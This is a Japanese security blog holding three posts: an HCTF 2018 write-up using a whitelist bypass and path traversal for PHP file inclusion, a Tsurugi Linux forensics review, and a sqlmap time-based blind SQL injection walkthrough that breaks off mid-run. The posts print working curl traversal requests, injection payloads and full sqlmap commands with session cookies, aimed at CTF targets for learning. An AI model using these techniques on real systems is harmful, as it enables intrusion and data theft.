こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

HCTF 2018 Writeup - Warmup

問題文

warmup
URL http://warmup.2018.hctf.io

writeup

URLにアクセスする。 f:id:graneed:20181109220327p:plain

hintリンクをクリックするとhttp://warmup.2018.hctf.io/index.php?file=hint.phpへ遷移し、以下の表示。

flag not here, and flag in ffffllllaaaagggg

トップに戻ってからHTMLソースを表示。(わかりやすく改行をいれた。)

<div style="text-align:center;">
<h>Warmup</h><br>
<a href="/index.php?file=hint.php">hint</a><br>
<!--source.php-->
</div>
<div style="text-align:center;"><br>
<img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />
</div>

コメントより、source.phpがあるようなのでhttp://warmup.2018.hctf.io/index.php?file=source.phpへアクセスすると、トップ画面と思われるソースコードが表示された。

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

fileパラメータをincludeしてくれるがwhitelistによるチェックがある。
また、?より前がwhitelistに合致してもOKとしている。
更に、URLデコードしてから?より前がwhitelistに合致してもOKとしている。

つまりは、以下の通り。

  • hint.php → whitelistにあるためOK
  • hoge.php → whitelistに無いためNG
  • hint.php?hoge → ?より前がwhitelistにあるためOK
  • hint.php%3Fhoge → %3FをURLデコードすると??より前がwhitelistにあるためOK

ただ、このwhitelistを単純に突破しても、includeするファイル名と合致しない。

root@kali:~# curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?hint.php"

よってhint.php?部分をディレクトリ名と見立てて、相対パスで指定してみる。
hint.phpのincludeができるかどうかで実験する。

root@kali:~# curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../hint.php"

flag not here, and flag in ffffllllaaaagggg

成功。

ffffllllaaaaggggを探す。

root@kali:~# curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../ffffllllaaaagggg"

さすがに同ディレクトリには無い。

ルートを辿る。

root@kali:~# curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../../../../../ffffllllaaaagggg"

hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

フラグゲット。
hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

DFIR用LinuxディストリビューションのTsurugi Linuxを使ってみた

AVTokyoでお披露目となったTsurugi Linuxのインストール&試用レポートです。

背景、経緯

2018/11/3に開催されたAVTokyoに参加してきました。

AVTOKYO2018 - AVTOKYO JP

そこで配られていた入場カードに、何とUSBメモリが隠されていました!

before
f:id:graneed:20181104231802j:plain

after
f:id:graneed:20181104231815j:plain

USBメモリの中には、当日の最後のセッションを飾った "Tsurugi Linux"のisoファイルと、お試し用のCTF問題ファイルが格納されていました。

Tsurugi Linuxとは、デジタルフォレンジクス、マルウェア解析、OSINT等に使用するツールがあらかじめインストールされた、UbuntuベースのLinuxとのこと。

詳しくはこちら。
Tsurugi Linux | Digital Forensics and Osint Linux Distribution

せっかく頂いたので、帰ってから早速起動してみました。

Live起動

VirtualBoxで新規に仮想マシンを作成し、isoを読み込んで起動してみました。

f:id:graneed:20181104233300j:plain

いくつか選択肢がありますが、どれもインストールではなくLive起動する模様。フォレンジックの現場において、USBメモリあるいはDVDメディアから起動することを想定しているのでしょう。

一番上の「TSURUGI Linux Live(GUI Mode)」を選択して起動した直後の画面はこちら。解像度の設定がいまいちだったため、システムモニターやAV Tokyoのロゴが切れてしまっていますが、すんなり起動できました。

f:id:graneed:20181104233828j:plain

この後、System->Displaysから解像度を大きくしました。

左上のApplicationsから、いくつかツールを見てみました。
目的ごとにカテゴリ分けされていてわかりやすいです。
CODE BLUE 2018で講演のあったLogon Tracerもデフォルトで入っていますね。 f:id:graneed:20181104234957j:plain

また、デスクトップ上にOSINT Switcherという気になるショートカットを発見。
クリックしてみると、デスクトップの背景が竹林に変わりました。
また、左上のApplicationsのメニューもOSINTに特化したものに変わりました。 f:id:graneed:20181104235003j:plain

インストール

毎回、Live起動では時間がかかりますし設定やデータの保存もできないため、インストールします。

デスクトップ上の、Install TSURUGI 2018.1のショートカットをクリックすると、いくつか警告と確認のダイアログが表示された後、インストール先のハードディスクを選択する画面が表示されました。

更に進めていくとインストーラーが起動され、言語、タイムゾーン、ユーザ情報等を入力し、インストールできました。再起動すると、isoイメージからではなくハードディスクから起動されました。

インストール&再起動後の画面はこちら。 f:id:graneed:20181105001310j:plain

VirtualBox Guest Additionsのインストール

ホストPCとのクリップボードの共有や共有フォルダのため、VirtualBox Guest Additionsをインストールします。

  1. 仮想PCのウィンドウのメニューバーからデバイス->Guest Additions CDイメージの挿入を選択
  2. 右上のCDのアイコンからマウント
  3. ターミナル起動
  4. sudo /media/<username>/VBox_GAs_<version>/autorun.shを起動

しかし、インストールは最後まで走ったものの、インストールログである/var/log/vboxadd-setup.logログを見てみるとエラーが発生しています。

(snip)
make[2]: *** [/tmp/vbox.0/utils.o] Error 1
Makefile:1522: recipe for target '_module_/tmp/vbox.0' failed
make[1]: *** [_module_/tmp/vbox.0] Error 2
/tmp/vbox.0/Makefile.include.footer:101: recipe for target 'vboxsf' failed
make: *** [vboxsf] Error 2

vboxsf、共有フォルダ周りですね・・・。
実際、クリップボード共有はできても、共有フォルダがうまくいきませんでした。

エラーメッセージ等でググった結果、以下のページがHIT。
一般的ソフトウェアエンジニアのTechメモ: ubuntuをWindowsOS上で動作させる - Guest Additionsインストールのエラーvboxsfがmodprobeできない対処 -

参考にして以下コマンドを実行したところ、エラーが発生しましたが、共有フォルダ設定はうまくいきました。

$ cd /usr/src/vboxguest-<version>
$ sudo make
$ sudo make install

念のため、共有フォルダの設定コマンドはこちら。

$ sudo mkdir /mnt/<適当なフォルダ名>
$ sudo mount -t vboxsf <VirtualBoxで設定した共有フォルダ名> /mnt/<適当なフォルダ名>

試してみる

実際に、Tsurugi Linuxを使用して、USBメモリに同梱されていたCTF問題を解いてみます。

フラグの投稿先はこちら。いつまで生きているかは不明。

AVTOKYO2018 TSURUGI CTF

左上のApplicationsから、出題タイトルに関連しそうなツールを使用して、解くことができました。

Challenge1-WinRegistry

reglookupを使います。

$ reglookup Challenge1-WinRegistry | grep flag
/Classes/CLSID/{7BA4C740-9E81-11CF-99D3-00AA004AE837}/flags,DWORD,0x00000001,
/Classes/CLSID/{C2FBB630-2971-11d1-A18C-00C04FD75D13}/flags,DWORD,0x00000001,
/Classes/CLSID/{C2FBB631-2971-11d1-A18C-00C04FD75D13}/flags,DWORD,0x00000001,
/Classes/CLSID/{D969A300-E7FF-11d0-A93B-00A0C90F2719}/flags,DWORD,0x00000000,
/Microsoft/Windows/AVTOKYO2018/flag,SZ,HackThePlanet,
/Microsoft/Windows NT/CurrentVersion/Print/Printers/Fax/DsSpooler/flags,DWORD,0x00000000,
/Microsoft/Windows NT/CurrentVersion/Print/Printers/Microsoft XPS Document Writer/DsSpooler/flags,DWORD,0x00000000,
/Microsoft/Windows NT/CurrentVersion/SoftwareProtectionPlatform/Plugins/Objects/msft:rm\x2Falgorithm\x2Fflags\x2F1.0,KEY,,2009-07-14 04:41:12
/Microsoft/Windows NT/CurrentVersion/SoftwareProtectionPlatform/Plugins/Objects/msft:rm\x2Falgorithm\x2Fflags\x2F1.0/ModuleId,SZ,c42d83ff-5958-4af4-a0dd-ba02fed39662,
/Microsoft/Windows NT/CurrentVersion/SoftwareProtectionPlatform/Plugins/Objects/msft:rm\x2Falgorithm\x2Fflags\x2F1.0/IsService,DWORD,0x00000000,

HackThePlanetがフラグでした。

Challenge2-BrowsingHistory

pascoを使います。

$ pasco Challenge2-BrowsingHistory | grep flag
URL Visited: IEUser@http://www.avtokyo2018.com/flag/is/20181103 09/04/2018 15:23:13 09/04/2018 15:23:13          
URL Visited: IEUser@http://www.avtokyo2018.com/flag/is/20181103 09/04/2018 15:23:13 09/04/2018 15:23:13 

20181103がフラグでした。

Challenge3-DeletedFile.e01

autopsyで開いて探索。
/usr/share/man/avtokyo2018/flag配下に、削除されたtsurugiDFIRというファイルを発見。 (手抜き説明
tsurugiDFIRがフラグでした。

Challenge4-WinMemClipBoard

volatilityを使います。

$ volatility --profile=Win7SP1x86_23418 -f Challenge4-WinMemClipBoard clipboard
Volatility Foundation Volatility Framework 2.6
Session    WindowStation Format                 Handle Object     Data                                              
---------- ------------- ------------------ ---------- ---------- --------------------------------------------------
         1 WinSta0       CF_UNICODETEXT       0x230173 0xfe5fda68 ZmxhZyBpcyB0c3VydWdp                              
         1 WinSta0       0x0L                     0x10 ----------                                                   
         1 WinSta0       0x3000L                   0x0 ----------                                                   
         1 WinSta0       0x0L                   0x3000 ----------                                                   
         1 ------------- ------------------   0x170067 0xfdfd1268  

ZmxhZyBpcyB0c3VydWdpをBASE64でデコードしたらflag is tsurugi
しかしtsurugiが通りませんでした・・・。何か足りない?

なお、ZmxhZyBpcyB0c3VydWdpflag is tsurugiも通りませんでした。
(2018/11/5 12:00追記)
flag is tsurugiで、フラグ通りました。

Challenge5-UnknownExecBinary

objdumpで処理内容を確認。

$ objdump -d -Mintel Challenge5-UnknownExecBinary 
(snip)
0804845b <weird>:
 804845b:   55                      push   ebp
 804845c:   89 e5                   mov    ebp,esp
 804845e:   81 ec 98 00 00 00       sub    esp,0x98
 8048464:   83 ec 08                sub    esp,0x8
 8048467:   ff 75 08                push   DWORD PTR [ebp+0x8]
 804846a:   8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
 8048470:   50                      push   eax
 8048471:   e8 aa fe ff ff          call   8048320 <strcpy@plt>
 8048476:   83 c4 10                add    esp,0x10
 8048479:   c7 85 70 ff ff ff 41    mov    DWORD PTR [ebp-0x90],0x4f545641
 8048480:   56 54 4f 
 8048483:   c7 85 74 ff ff ff 4b    mov    DWORD PTR [ebp-0x8c],0x4f594b
 804848a:   59 4f 00 
 804848d:   83 ec 08                sub    esp,0x8
 8048490:   8d 85 70 ff ff ff       lea    eax,[ebp-0x90]
 8048496:   50                      push   eax
 8048497:   8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
 804849d:   50                      push   eax
 804849e:   e8 6d fe ff ff          call   8048310 <strcmp@plt>
 80484a3:   83 c4 10                add    esp,0x10
 80484a6:   85 c0                   test   eax,eax
 80484a8:   0f 94 c0                sete   al
 80484ab:   0f b6 c0                movzx  eax,al
 80484ae:   c9                      leave  
 80484af:   c3                      ret   
(snip)

0x4f5456410x4f594bがPrintableのため復号すると、OTVAOYKとなりました。
AVTOKYOですね。念のため実行して確認。

$ ./Challenge5-UnknownExecBinary AVTOKYO

  .:: TSURUGI BINARY CTF 2018 ::.
Crack me! ;) 
Success!

ということで、AVTOKYOがフラグでした。

まとめ

Kali Linux、BlackArch Linux、REMnux等との比較はできていませんが、きれいにツール群が整理されている点と、ライブ起動が早い点が良いですね。それにデスクトップもかっこいいです。

また、「カーネルレベルでのデバイス書き込みブロッキング」の機能があるとのことですが、試せておらず。別の方のレポートや公式サイトのドキュメントを待ちたいと思います。

sqlmapでTime-Based Blind SQL Injectionをやってみる

sqlmapを使用してSQL Injectionを効率的に実行した結果をまとめる。

経緯、動機

SECCON 2018 Qualsのwriteupを読んでいたら、sqlmapを使用してshooterを解いていた方を発見。

SECCON 2018 Quals write-up (classic, kindvm, gacha lv.1/2, shooter last part) - cookies.txt .scr

CTFでは、ツールによるスキャン行為は禁止されていることが多く、短時間に負荷をかけると自身のIPアドレスブラックリストに登録されてしまうことある。結果、一定時間ブロックされたり、最悪、大会終了までブロックされ続けることがある。
(実際、迂闊にもdirbをかけてブロックされたことがあった。)

よって、これまでsqlmapをまともに使用する機会が無く、SQL Injectionの脆弱性がありそうな項目を発見したら自分でスクリプトを作成して解いていた。ただ「機械にできることは機械にまかせるべき」であるし、CTFは項目数が少ないが実際のペネトレーションテスト脆弱性診断の現場においては人手で確認しきれない大量の項目があることを想定すると、sqlmapに慣れ親しむことも重要と考えて、shooterを題材に試してみた。

なお、スクリプトを作って解いたwriteupは以下の通り。 SECCON 2018 Quals - shooter - こんとろーるしーこんとろーるぶい

実行結果

shooterはTime-Based Blind SQL Injectionで攻める問題であったが、1文字ずつ情報を特定していく攻撃手法であるため、必要なリクエスト数が多く時間がかかる。

オプションの指定が緩いと、目的とする情報(CTFの場合はフラグ)に結び付かないテーブルや列の情報も取得しようとして時間がかかってしまう。よって、適切にオプションを指定することで情報を絞り込みながら実行する。
具体的には、以下の段取りで情報を取得してみる。

  1. データベース名の取得
  2. テーブル名の取得
  3. カラム名の取得
  4. レコードの取得

1. データベース名の取得

実行コマンドは以下の通り。

sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \
-p password \
--method POST \
--cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \
--data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \
--dbms mysql \
--time-sec 2 \
--technique T \
--level 2 \
--dbs
オプション 説明
-u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' URLを指定。
-p password 脆弱性のある項目を指定。この問題はpassword項目に脆弱性があることが既にわかっているため指定した。
--method POST POSTメソッドを指定。
--cookie "_shooter_session=...(snip)" HTTP Request HeaderのCookieを指定。なお、あらかじめ画面打鍵して情報採取した値を指定した。
--data "authenticity_token=...(snip)" 送信する項目と値を指定。-p passwordで攻撃対象を指定しているため、password項目以外は固定値として設定される。
--technique T 何の攻撃手法を使用するか指定。今回はTime-Based Blind SQL Injectionで攻めるようにTを指定。
--time-sec 2 Time-Based Blind SQL Injectionで使用するslepp時間を指定。
--dbs データベース名を取得するように指定。
--level 2 攻撃コードのバリエーション数に影響すると思われる。この問題の場合、デフォルトの1では攻撃が成功しなかった。

実行結果。

root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 --dbs
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.2.8#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:29:29

[01:29:29] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n
[01:29:31] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[01:29:32] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[01:29:32] [INFO] testing for SQL injection on POST parameter 'password'
[01:29:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[01:29:32] [WARNING] time-based comparison requires larger statistical model, please wait............................  (done)                                    
[01:29:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:29:37] [INFO] POST parameter 'password' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n] Y
[01:29:40] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login
---
[01:30:07] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[01:30:07] [INFO] fetching database names
[01:30:07] [INFO] fetching number of databases
[01:30:07] [INFO] retrieved: 

[01:30:07] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
2
[01:30:12] [INFO] retrieved: information_schema
[01:32:08] [INFO] retrieved: shooter_staging
available databases [2]:
[*] information_schema
[*] shooter_staging

[01:33:54] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4 times
[01:33:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp'

[*] shutting down at 01:33:54

information_schemaとshooter_stagingの2つのデータベースがあることがわかった。

2. テーブル名の取得

実行コマンドは以下の通り。

sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \
-p password \
--method POST \
--cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \
--data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \
--dbms mysql \
--time-sec 2 \
--technique T \
--level 2 \
-D shooter_staging
--tables
オプション 説明
-D shooter_staging 情報取得の対象とするデータベース名を指定。
--tables テーブル名を取得するように指定。

実行結果。

root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.8#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:36:28

[01:36:29] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login
---
[01:36:30] [INFO] testing MySQL
[01:36:30] [INFO] confirming MySQL
[01:36:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[01:36:30] [INFO] fetching tables for database: 'shooter_staging'
[01:36:30] [INFO] fetching number of tables for database 'shooter_staging'
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
.............................. (done)
[01:36:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[01:36:36] [INFO] retrieved: ar_internal_metadata
[01:38:43] [INFO] retrieved: flags
[01:39:14] [INFO] retrieved: managers
[01:39:57] [INFO] retrieved: schema_migrations
[01:41:43] [INFO] retrieved: scores
Database: shooter_staging
[5 tables]
+----------------------+
| ar_internal_metadata |
| flags                |
| managers             |
| schema_migrations    |
| scores               |
+----------------------+

[01:42:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp'

[*] shutting down at 01:42:12

shooter_stagingデータベースには、flagsテーブルと4つのテーブルがあることがわかった。

3. カラム名の取得

実行コマンドは以下の通り。

sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \
-p password \
--method POST \
--cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \
--data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \
--dbms mysql \
--time-sec 2 \
--technique T \
--level 2 \
-D shooter_staging \
-T flags \
--columns
オプション 説明
-T flags 情報取得の対象とするテーブル名を指定。
--columns カラム名を取得するように指定。

実行結果。

root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging -T flags --columns
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.8#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:43:26

[01:43:27] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login
---
[01:43:32] [INFO] testing MySQL
[01:43:32] [INFO] confirming MySQL
[01:43:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[01:43:32] [INFO] fetching columns for table 'flags' in database 'shooter_staging'
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
.............................. (done)
[01:43:35] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
4
[01:43:35] [INFO] retrieved: id
[01:43:48] [INFO] retrieved: bigint(20)
[01:44:53] [INFO] retrieved: value
[01:45:24] [INFO] retrieved: varchar(255)
[01:46:37] [INFO] retrieved: created_at
[01:47:39] [INFO] retrieved: datetime
[01:48:24] [INFO] retrieved: updated_at
[01:49:33] [INFO] retrieved: datetime
Database: shooter_staging
Table: flags
[4 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| value      | varchar(255) |
| created_at | datetime     |
| id         | bigint(20)   |
| updated_at | datetime     |
+------------+--------------+

[01:50:18] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp'

[*] shutting down at 01:50:18

flagsテーブルには、value項目と3つのカラムがあることがわかった。

4. レコードの取得

実行コマンドは以下の通り。

sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' \
-p password \
--method POST \
--cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" \
--data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" \
--dbms mysql \
--time-sec 2 \
--technique T \
--level 2 \
-D shooter_staging \
-T flags \
-C value \
--dump
オプション 説明
-C value 情報取得の対象とするカラム名を指定。
--dump データベースのテーブル情報全般を取得するように指定。ただ、-D、-T、-Cで対象を絞っているため、結果、shooter_stagingデータベースのflagsテーブルのvalue列の値を取得する挙動となる。

実行結果。

root@kali:~# sqlmap -u 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -p password --method POST --cookie "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" --data "authenticity_token=CodCRpjgTlZzcK%2Filr42WUwUASDdfoPJ%2F865RPWy3uOS2nzmtl9T3GnNG%2B2syYTY1GSc%2BvXODPykzOVx7n8JuA%3D%3D&login_id=admin&password=hoge&commit=Login" --dbms mysql --time-sec 2 --technique T --level 2 -D shooter_staging -T flags -C value --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.8#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:53:42

[01:53:42] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new'. Do you want to follow? [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: authenticity_token=CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==&login_id=admin&password=hoge') AND (SELECT * FROM (SELECT(SLEEP(2)))FGyQ) AND ('AjuX'='AjuX&commit=Login
---
[01:53:44] [INFO] testing MySQL
[01:53:44] [INFO] confirming MySQL
[01:53:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
